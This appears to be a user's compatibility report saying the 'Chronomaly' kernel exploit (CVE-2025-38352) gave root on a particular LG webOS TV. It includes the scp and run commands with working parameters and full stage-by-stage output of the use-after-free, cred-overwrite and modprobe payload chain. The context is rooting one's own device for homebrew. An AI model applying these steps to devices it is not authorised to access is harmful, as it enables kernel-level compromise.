Exploit New Model Found: 65UQ7070ZUE

[bdwandry]

Cheap Walmart TV:
65UQ7070ZUE

/tmp/exploit-arm64 83000 165 3000

I forwarded the file over:

scp -i ~/.ssh/lgtv_webos -P 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ./exploit-arm64 prisoner@192.168.1.224:/tmp/exploit-arm64

Ran the command:

/tmp/exploit-arm64 83000 165 3000

Got root access:

/tmp/exploit-arm64 83000 165 3000

[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=83000 DELTA=165 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 745 ns
	[+] Freed UAF sigqueue in parent process pid 6207

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
	[+] Reallocated UAF sigqueue slab as a pipe buffer data page
	[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
	[+] Preparing task pending list for heap leaks
	[DEBUG] Pipe buffer page dump (non-zero qwords):
	[DEBUG]   offset 0xf00: 0xffffff803f8d5f00 [kernel ptr]
	[DEBUG]   offset 0xf08: 0xffffff803e27d8f0 [kernel ptr]
	[+] Heap leaks:
		- UAF sigqueue page offset 0xf00
		- Other sigqueue 0xffffff803f8d5f00
		- Task pending list addr 0xffffff803e27d8f0
	[+] Heap leak successful! Continuing...
	[+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
	[+] new_addr = 0xffffff803fad17d0 (page offset 0x7d0)
	[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
	[+] Freeing slab 3 page...
	[+] Writing fake cred at page offset 0x7d0
	[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
	[+] fake_cred_addr = 0xffffff803fad17d0 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
	[+] task_pending_list_addr = 0xffffff803e27d8f0
	[+] cred_offset = 0x80 (128 bytes)
	[+] task_cred_ptr_addr = 0xffffff803e27d870
	[+] fake_cred_addr = 0xffffff803fad17d0
	[+] Will write: *0xffffff803e27d870 = 0xffffff803fad17d0
	[+] SIGUSR2 still pending from Stage 1
	[-] SCHED_FIFO unavailable - proceeding anyway
	[DEBUG] Verifying sigqueue fields in pipe buffer:
	[DEBUG]   list.next  = 0xffffff803fad17d0 (expected 0xffffff803fad17d0) OK
	[DEBUG]   list.prev  = 0xffffff803e27d870 (expected 0xffffff803e27d870) OK
	[DEBUG]   flags      = 1 (expected 1) OK
	[DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
	[DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
	[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
	[+] This triggers list_del_init: *0xffffff803e27d870 = 0xffffff803fad17d0
	[DEBUG] poll() returned 1, revents=0x1
	[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
	[DEBUG] Key addresses for list_del_init:
	[DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff803e27d870
	[DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff803fad17d0
	[DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff803e27d8f0
	[DEBUG] Expected writes:
	[DEBUG]   *(0xffffff803e27d870) = 0xffffff803fad17d0  (task->cred = fake_cred)
	[DEBUG]   *(0xffffff803fad17d8) = 0xffffff803e27d870  (fake_cred.prev = task_cred_ptr)
	[DEBUG] Verifying pipe buffers still valid...
	[DEBUG]   realloc_pipe read(0) = 0 (errno=1)
	[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
	[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
	[DEBUG] read() returned 128, errno=0 (Success)
	[DEBUG] Blocking mode restored
	[+] Signal dequeued successfully! (read 128 bytes)
	[DEBUG] POST-DEQUEUE pipe buffer check:
	[DEBUG]   list.next = 0xffffff8035c98f00
	[DEBUG]   list.prev = 0xffffff8035c98f00
	[DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
	[+] Arbitrary write completed: task->cred now points to fake_cred

	[+] Checking privileges...
	[+] Current EUID: 0, UID: -128

	 ██████╗  ██████╗  ██████╗ ████████╗    ██╗
	 ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
	 ██████╔╝██║   ██║██║   ██║   ██║       ██║
	 ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
	 ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
	 ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

	[+] ROOT ACHIEVED! EUID = 0
	[+] modprobe -> /tmp/pwn
	[+] Rooting payload executed!
	[+] Waiting for /tmp/pwn to finish...
	[+] May take up to 5 minutes to finish.
 	[!] Timed out waiting for /tmp/pwn (check log manually at /tmp/pwn.log)
	[!] Reboot the TV when ready to complete setup.
	[!] After reboot, Homebrew Channel provides SSH on port 22.

Exploit happened and I got root. Sorry, I wasn't sure on how to contact you!
Great Job!